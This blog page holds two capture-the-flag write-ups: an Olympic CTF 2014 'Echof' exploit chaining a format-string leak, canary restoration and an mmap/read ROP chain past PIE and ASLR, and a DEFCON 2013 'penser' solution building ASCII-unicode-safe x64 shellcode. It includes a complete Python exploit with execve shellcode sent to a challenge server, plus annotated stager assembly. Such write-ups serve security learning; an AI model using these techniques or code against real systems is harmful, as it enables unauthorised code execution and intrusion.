2014년 2월 10일 월요일

Olympic CTF 2014 Echof writeup

A simple x86 ELF binary is given. the program uses every possible security solutions : CANARY, NX, PIE. and the server has ASLR enabled.
however, a quick analysis tells us that the binary has "1 byte buffer overflow bug" which overwrites the lower byte of format string pointer to NULL (supposedly used as string null terminator). and this leads the program to format string bug.
However, the program filters the 'n' character. so we cannot exploit the format string bug to directly overwrite arbitrary memory contents. But, since the format string content of the heap(0x11111000) is copied to stack buffer using "sprintf" we can trigger a stack based buffer overflow by intentionally putting some long format strings such as "%1000c". In this way, we can overwrite the stack far beyond the return address. From now solving the task is a classic stack-based buffer overflow problem. Unfortunately the situation is more complex. We need to defeat a number of security technologies using a small weapon : memory leaking with format string bug.
These are the opponents.
- Stack Protector (Canary)
- Never eXecute (NX)
- Position Independent Executable (PIE)
- Address Space Layout Randomization (ASLR)

These are the situation needs to be considered.
- Ascii Armor (we can't give NULL bytes... which is essential for exploitation)
- 'n' filtering (program filters this character)

Now let's debug the binary using gdb..! we need to attach the debugger to debug super demon wrapped binary.



Stage 1. Defeating Stack Protector (Canary)
We can defeat the canary protection using two features. 
1. Using the memory leaking capability, we can obtain the canary value from the stack with '%78$X'
2. We can write the NULL value using the "%c" and NULL argument of sprintf from the stack.
Note that the lower byte of canary is always NULL. so we can't directly overwrite the canary value into stack. however if a NULL value is already in the stack as a Nth argument for sprintf, we can use them with "%n$c" format string and write NULL byte to another location where we want. So, if the canary value is "0x41424300", and if the second argument (as char) of sprintf is NULL, then we can use a format string such as "%2$cCBA". So basically we can overwrite the return address area beyond the stack protector then, restore the canary value back to original.

Stage 2. Defeating PIE, ASLR
We need to use ROP for defeating the NX. However, solving this problem is a pain in the ass since the task binary is PIE + ASLR enabled. However, we could calculate the address of executable segment because there was a function address value of executable segment; right after the return address. Using this address as a baseline, we can calculate the entire address of executable instructions. However, the offset to libc functions could not be calculated since it differs to OS or libc version. Note that even if we know the PLT and GOT section of executable, we cannot use the PLT, GOT values to obtain the libc function address such as mprotect, mmap, system, etc since the executable is PIE (I didn't knew until facing this task). However, after realizing the function addressing of PIE binary, I figured a way to calculate the exact libc function address simply by using the "%s" format string.

- First, obtain the PIE base address from the executable function address from the stack.
- Second, calculate the address of "call mmap" instruction in the main function.
- Third, read the 4 byte relative offset of "call mmap" instructions opcode by using "%s" and feeding the argument of "%s" as the calculated address + 1(after 0xe8) from previous step.
- Fourth, add the relative offset with the instruction address + 4



In this way, it was possible to calculate the exact libc function addresses used from main function regardless of the server environment...!!

Stage 3. Defeating The Never eXecute (NX)
Now, the challenging part is finally over. After calculating the "mmap" and "read" function used in main, it was a matter of time solving the task. At this moment, the NX could be easily bypassed using two stage ROP payload. 

[&mmap][&pppr][0x11111000][0x13001][7][32][-1][0][DEADBEEF][&read][0][0x11111001][0x101]

Following is the scenario.

1. return to mmap and allocate RWX memory at location 0x11111000
2. return to ESP lifting gadget (add esp, 0x14; pop; pop; ret)
3. return to read
4. return to 0x11111000

This is a classic ROP exploit which allocates an RWX memory and receives shellcode and returning to shellcode. 

I prepared this ROP stack payload like this...

and then restored the stack protector...
and returned from the main function.

right after getting shell from my local environment, it was possible to get a shell from task server.

Unfortunately I solved the task after the CTF is over.. The task was difficult since I had no background of PIE executable. Below is the final exploit.

# final exploit (python)
from socket import *
from struct import *
import sys, os, time, base64, ctypes

''' game start! '''
s = socket(AF_INET, SOCK_STREAM)
#s.connect( ('localhost', 33000) )
s.connect( ('109.233.61.11', 3129) )
r = s.recv(4096)
print r
s.send('letmein\n')
r = s.recv(4096)
print r

raw_input()

''' stage 1 '''
# get canary, piebase
canary = 0
piebase = 0
mmap=0
read=0
pppr=0
p_mmap=0 # addr of mmap pointer
p_read=0 # addr of read pointer
p1 = '%78$X.%79$X.'
p1 += 'A'*(128-len(p1))
print 'len : ' + str(len(p1))
s.send( p1 )
r = s.recv(4096)
canary = int(r.split('.')[0], 16)
piebase = int(r.split('.')[1], 16) - 0xC10
pppr = piebase + 0x95F
p_mmap = piebase + 0xAE6
p_read = piebase + 0xA79
print 'canary : {0}'.format(hex(canary))
print 'piebase : {0}'.format(hex(piebase))
print 'pppr : {0}'.format(hex(pppr))
print 'p_mmap : {0}'.format(hex(p_mmap))
print 'p_read : {0}'.format(hex(p_read))


''' stage 2 '''
# calculate &mmap, &read
p2 = '.%27$s.%28$s.%29$s.%30$s.%31$s.%32$s.%33$s.%34$s.AAA'
p2 += pack('<L', p_mmap)
p2 += pack('<L', p_read)
p2 += pack('<L', p_mmap+1)
p2 += pack('<L', p_read+1)
p2 += pack('<L', p_mmap+2)
p2 += pack('<L', p_read+2)
p2 += pack('<L', p_mmap+3)
p2 += pack('<L', p_read+3)
p2 += 'A'*(128-len(p2))
print 'len : ' + str(len(p2))
s.send( p2 )
r = s.recv(4096)
# in case we just got 'msg?'
if len(r) < 10:
r = s.recv(4096)
print r
# get mmap, read address!
mmap1 = r.split('.')[1]
read1 = r.split('.')[2]
mmap2 = r.split('.')[3]
read2 = r.split('.')[4]
mmap3 = r.split('.')[5]
read3 = r.split('.')[6]
mmap4 = r.split('.')[7]
read4 = r.split('.')[8]
mmap = unpack('B', mmap1[0])[0]
mmap += unpack('B', mmap2[0])[0] << 8
mmap += unpack('B', mmap3[0])[0] << 16
mmap += unpack('B', mmap4[0])[0] << 24
mmap = ctypes.c_int32( mmap ).value + p_mmap + 4
read = unpack('B', read1[0])[0]
read += unpack('B', read2[0])[0] << 8
read += unpack('B', read3[0])[0] << 16
read += unpack('B', read4[0])[0] << 24
read = ctypes.c_int32( read ).value + p_read + 4
print 'mmap : {0}'.format(hex(mmap))
print 'read : {0}'.format(hex(read))

''' stage3 '''
# set ROP payload
# [&mmap][&pppr][0x11111000][0x13001][7][32][-1][0][DEADBEEF][&read][0][0x11111001][0x101]
zero = '%2$c'
p3 = '%272c'
p3 += pack('<L', mmap)
p3 += pack('<L', pppr)
p3 += zero + pack('BBB', 0x10, 0x11, 0x11) # 0x11111000
p3 += pack('BBB', 0x01, 0x30, 0x01) + zero # 0x00013001
p3 += pack('B', 0x7) + zero + zero + zero # 0x00000007
p3 += pack('B', 0x32) + zero + zero + zero # 0x00000032
p3 += pack('<L', 0xFFFFFFFF) # -1
p3 += zero + zero + zero + zero # 0
p3 += '%4c'
p3 += pack('<L', read)
p3 += pack('<L', 0x11111001) # ret addr of read
p3 += zero + zero + zero + zero # stdin
p3 += pack('<L', 0x11111001) # read buffer
p3 += pack('BB', 0x01,0x01) + zero + zero # 0x101
p3 += 'A'*(128-len(p3))
print 'len : ' + str(len(p3))
s.send( p3 )
r = s.recv(4096)
# in case we just got 'msg?'
if len(r) < 10:
r = s.recv(4096)
print r

''' stage4 '''
# restore stack protector
p4 = '%2$140c' + pack('<L', ctypes.c_uint32( (canary>>8) + 0x41000000 ).value)
p4 = 'A'*(128-len(p4)) + p4
print 'len : ' + str(len(p4))
s.send( p4 )
r = s.recv(4096)
# in case we just got 'msg?'
if len(r) < 10:
r = s.recv(4096)
print r

''' stage5 '''
# trigger exploit
p5 = 'n'*128
print 'len : ' + str(len(p5))
s.send( p5 )
# send shellcode
# execve('/bin/sh')
sh  = '\xE8\xFF\xFF\xFF\xFF\xC0\x8B\x34\x24\x83\xC6\x14\x31\xC9'
sh += '\xB1\xFF\x8A\x06\x30\xC8\x88\x06\x46\xE2\xF7\xCE\x2C\xAF'
sh += '\x94\xD4\xD5\x8A\x90\x9F\xD9\x97\x9D\x9D\x7B\x12\xA2\xBC'
sh += '\x67\x0C\xDD\x2B\x5A\xE2\x25\x67'
sh += '\x90'*(0x101 - len(sh))
s.send( sh )
# got shell.
s.send( 'cat flag\n' )
print s.recv(4096)

2013년 6월 20일 목요일

DEFCON 2013 shellcode 400 - penser

x64 ELF is given. it's a fork-accept daemon.

Client Handler receives 4 bytes. as size of malloc buffer



size limit is 0x1000 bytes.


server receives shellcode into malloc buffer


server allocates RWX memory with double size of malloc buffer, then copies shellcode.
but, actually malloc buffer has RWX permission too.
after that malloc and mmap buffer is passed to some function(my_something).


my_something checks if buffer and length is valid, then memsets mmap buffer to zero.


and there is a loop which copies the malloc buffer contents to mmap buffer in bytes.
but the byte out of range 0x20~0x7F is not accepted. and each byte is copied with NULL.
which means, our original shellcode has to be ASCII-UNICODE proof.



after our shellcode is UNICODED, server executes it with CALL RDX;

it seemed to be impossible to write working reverse shellcode as ascii-unicode proof.
so we searched for every possible assembly instructions which we can use.
and investigated the register context / stack environment with GDB.

Breakpoint 2, 0x0000000000401226 in ?? ()
(gdb) i r
rax            0x0 0
rbx            0x0 0
rcx            0x0 0
rdx            0x7ffff7ff6000 140737354096640
rsi            0x1 1
rdi            0x0 0
rbp            0x7fffffffe060 0x7fffffffe060
rsp            0x7fffffffe020 0x7fffffffe020
r8             0x0 0
r9             0x300000 3145728
r10            0x7fffffffddc0 140737488346560
r11            0x7ffff7a959b0 140737348458928
r12            0x400f80 4198272
r13            0x7fffffffe1e0 140737488347616
r14            0x0 0
r15            0x0 0
rip            0x401226 0x401226
eflags         0x206 [ PF IF ]
cs             0x33 51
ss             0x2b 43
ds             0x0 0
es             0x0 0
fs             0x0 0
gs             0x0 0


(gdb) x/10x $rsp
0x7fffffffe018: 0x00401228 0x00000000 0xffffe060 0x00007fff
0x7fffffffe028: 0x00000000 0x00000008 0x00001000 0x00000000
0x7fffffffe038: 0x00606a90 0x00000000
(gdb) 

we found that there is malloc buffer pointer at [RSP+0x20].

below are some of the lists of ascii-unicode proof x64 instructions.
(plus register PUSH/POP instructions)
   0x7ffff7ff6036: add    %bl,(%rax,%rax,1)
   0x7ffff7ff6039: sbb    $0x1f001e00,%eax
   0x7ffff7ff603e: add    %ah,(%rax)
   0x7ffff7ff6040: add    %ah,(%rcx)
   0x7ffff7ff6042: add    %ah,(%rdx)
   0x7ffff7ff6044: add    %ah,(%rbx)
   0x7ffff7ff6046: add    %ah,(%rax,%rax,1)
   0x7ffff7ff6049: and    $0x27002600,%eax
   0x7ffff7ff604e: add    %ch,(%rax)
   0x7ffff7ff6050: add    %ch,(%rcx)
   0x7ffff7ff6052: add    %ch,(%rdx)
   0x7ffff7ff6054: add    %ch,(%rbx)
   0x7ffff7ff6056: add    %ch,(%rax,%rax,1)
   0x7ffff7ff6059: sub    $0x2f002e00,%eax
   0x7ffff7ff605e: add    %dh,(%rax)
   0x7ffff7ff6060: add    %al,(%rax)
   0x7ffff7ff6062: add    %dh,(%rcx)
   0x7ffff7ff6064: add    %dh,(%rdx)
   0x7ffff7ff6066: add    %dh,(%rbx)
   0x7ffff7ff6068: add    %dh,(%rax,%rax,1)
   0x7ffff7ff606b: xor    $0x37003600,%eax
   0x7ffff7ff6070: add    %bh,(%rax)
   0x7ffff7ff6072: add    %bh,(%rcx)
   0x7ffff7ff6074: add    %bh,(%rdx)
   0x7ffff7ff6076: add    %bh,(%rbx)
   0x7ffff7ff6078: add    %bh,(%rax,%rax,1)
   0x7ffff7ff607b: cmp    $0x3f003e00,%eax
   0x7ffff7ff6080: add    %al,0x0(%rax)
   0x7ffff7ff6083: add    %al,0x0(%r10)
   0x7ffff7ff6087: add    %al,0x45(%r8,%r8,1)
   0x7ffff7ff608c: add    %al,0x0(%rsi)
   0x7ffff7ff608f: rex.RXB add %r9b,0x0(%r8)
   0x7ffff7ff6093: rex.WB add %cl,0x0(%r10)
   0x7ffff7ff6097: rex.WXB add %cl,0x4d(%r8,%r8,1)
   0x7ffff7ff609c: add    %cl,0x0(%rsi)
   0x7ffff7ff609f: rex.WRXB add %r10b,0x0(%r8)
   0x7ffff7ff60a3: push   %rcx
   0x7ffff7ff60a4: add    %dl,0x0(%rdx)
   0x7ffff7ff60a7: push   %rbx
   0x7ffff7ff60a8: add    %dl,0x55(%rax,%rax,1)
   0x7ffff7ff60ac: add    %dl,0x0(%rsi)
   0x7ffff7ff60af: push   %rdi
   0x7ffff7ff60b0: add    %bl,0x0(%rax)
   0x7ffff7ff60b3: pop    %rcx
   0x7ffff7ff60b4: add    %bl,0x0(%rdx)
   0x7ffff7ff60b7: pop    %rbx
   0x7ffff7ff60b8: add    %bl,0x5d(%rax,%rax,1)
   0x7ffff7ff60bc: add    %bl,0x0(%rsi)
   0x7ffff7ff60bf: pop    %rdi
   0x7ffff7ff60c0: add    %ah,0x0(%rax)
   0x7ffff7ff60c3: (bad)  
   0x7ffff7ff60c4: add    %ah,0x0(%rdx)
   0x7ffff7ff60c7: movslq (%rax),%eax
   0x7ffff7ff60c9: add    %ah,%fs:0x0(%rbp)
   0x7ffff7ff60cd: data16
   0x7ffff7ff60ce: add    %ah,0x0(%rdi)
   0x7ffff7ff60d1: pushq  $0x6a006900
   0x7ffff7ff60d6: add    %ch,0x0(%rbx)
   0x7ffff7ff60d9: insb   (%dx),%es:(%rdi)
   0x7ffff7ff60da: add    %ch,0x0(%rbp)
   0x7ffff7ff60dd: outsb  %ds:(%rsi),(%dx)
   0x7ffff7ff60de: add    %ch,0x0(%rdi)
   0x7ffff7ff60e1: jo     0x7ffff7ff60e3
   0x7ffff7ff60e3: jno    0x7ffff7ff60e5
   0x7ffff7ff60e5: jb     0x7ffff7ff60e7
   0x7ffff7ff60e7: jae    0x7ffff7ff60e9
   0x7ffff7ff60e9: je     0x7ffff7ff60eb
   0x7ffff7ff60eb: jne    0x7ffff7ff60ed
   0x7ffff7ff60ed: jbe    0x7ffff7ff60ef
   0x7ffff7ff60ef: ja     0x7ffff7ff60f1
   0x7ffff7ff60f1: js     0x7ffff7ff60f3
   0x7ffff7ff60f3: jns    0x7ffff7ff60f5
   0x7ffff7ff60f5: jp     0x7ffff7ff60f7
   0x7ffff7ff60f7: jnp    0x7ffff7ff60f9
   0x7ffff7ff60f9: jl     0x7ffff7ff60fb
   0x7ffff7ff60fb: jge    0x7ffff7ff60fd
   0x7ffff7ff60fd: jle    0x7ffff7ff60ff
   0x7ffff7ff60ff: jg     0x7ffff7ff6101


to sum up, we can use register PUSH/POP instructions, we can adjust the register value by 
pushing them and overwriting a byte into stack.

with some clever combination of instructions we can write the return instruction at the end of unicode shellcode.
and we were able to manage the RSP to point to normal reverse shellcode.  see below.

0x7ffff7ff606b: xor    $0x37003600,%eax
0x7ffff7ff6070: add    %bh,(%rax)

we can't XOR an arbitrary constant to a register but we can XOR a constant which contains zero at second, fourth byte. and we can also add ah, bh, ch, dh...(second bytes) register to a memory location pointed with RAX.

we exploit the fact that 
1. we can put return instruction at the end of unicode shellcode.
2. we can adjust ESP to point start of reverse shellcode.

it's complex. but the following describes this scenario.

# set return opcode into bh
xor $0x20002000, %eax        # EAX: 20002000
sub $0x30003000, %eax        # EAX: EFFFF000
xor $0x33003300, %eax        # EAX: DCFFC300
push %rax
pop %rbx                            # EBX: DCFFC300.  BH has value C3(ret)

# set RDX shellcode + X
push %rdx
pop %rax                             # get address of shellcode
push %rax                             # push the address of shellcode
push %rsp                             # push the address of address of shellcode
pop %rax                             # set RAX the address of address of shellcode
add %bh, (%rax)             # add(increase) shellcode address 0xC3(mmap buffer is page aligned)
pop %rdx                     # set RDX shellcode + 0xC3

# insert ret instruction at shellcode+C3
add %bh, (%rdx)

# get malloc buffer address to RAX
pop %rax
pop %rax
pop %rax
pop %rax
pop %rax                            # now RAX has malloc buffer address.

# set RAX to RSP
push %rax
pop %rsp

# increase RSP enough to skip the unicode shellcode part. and push RSP to stack.
pop %rcx
pop %rcx
pop %rcx
pop %rcx
pop %rcx
pop %rcx
pop %rcx
pop %rcx
pop %rcx
pop %rcx
pop %rcx
pop %rcx
pop %rcx
push %rsp

# set RAX a valid address for unicode shell NOP sled.
push %rbp
pop %rax

# everything set. wait for return!!

we extracted the machine codes with GDB

Dump of assembler code for function main:
   0x0000000000401110 <+0>: 35 00 20 00 20 xor    $0x20002000,%eax
   0x0000000000401120 <+16>: 00 6d 00 add    %ch,0x0(%rbp)
   0x0000000000401115 <+5>: 2d 00 30 00 30 sub    $0x30003000,%eax
   0x0000000000401120 <+16>: 00 6d 00 add    %ch,0x0(%rbp)
   0x000000000040111a <+10>: 35 00 33 00 33 xor    $0x33003300,%eax
   0x0000000000401120 <+16>: 00 6d 00 add    %ch,0x0(%rbp)
   0x000000000040111f <+15>: 50         push   %rax
   0x0000000000401120 <+16>: 00 6d 00 add    %ch,0x0(%rbp)
   0x0000000000401123 <+19>: 5b         pop    %rbx
   0x0000000000401124 <+20>: 00 6d 00 add    %ch,0x0(%rbp)
   0x0000000000401127 <+23>: 52         push   %rdx
   0x0000000000401128 <+24>: 00 6d 00 add    %ch,0x0(%rbp)
   0x000000000040112b <+27>: 58         pop    %rax
   0x000000000040112c <+28>: 00 6d 00 add    %ch,0x0(%rbp)
   0x000000000040112f <+31>: 50         push   %rax
...


this is final exploit.


after doing some debugging, it was successful.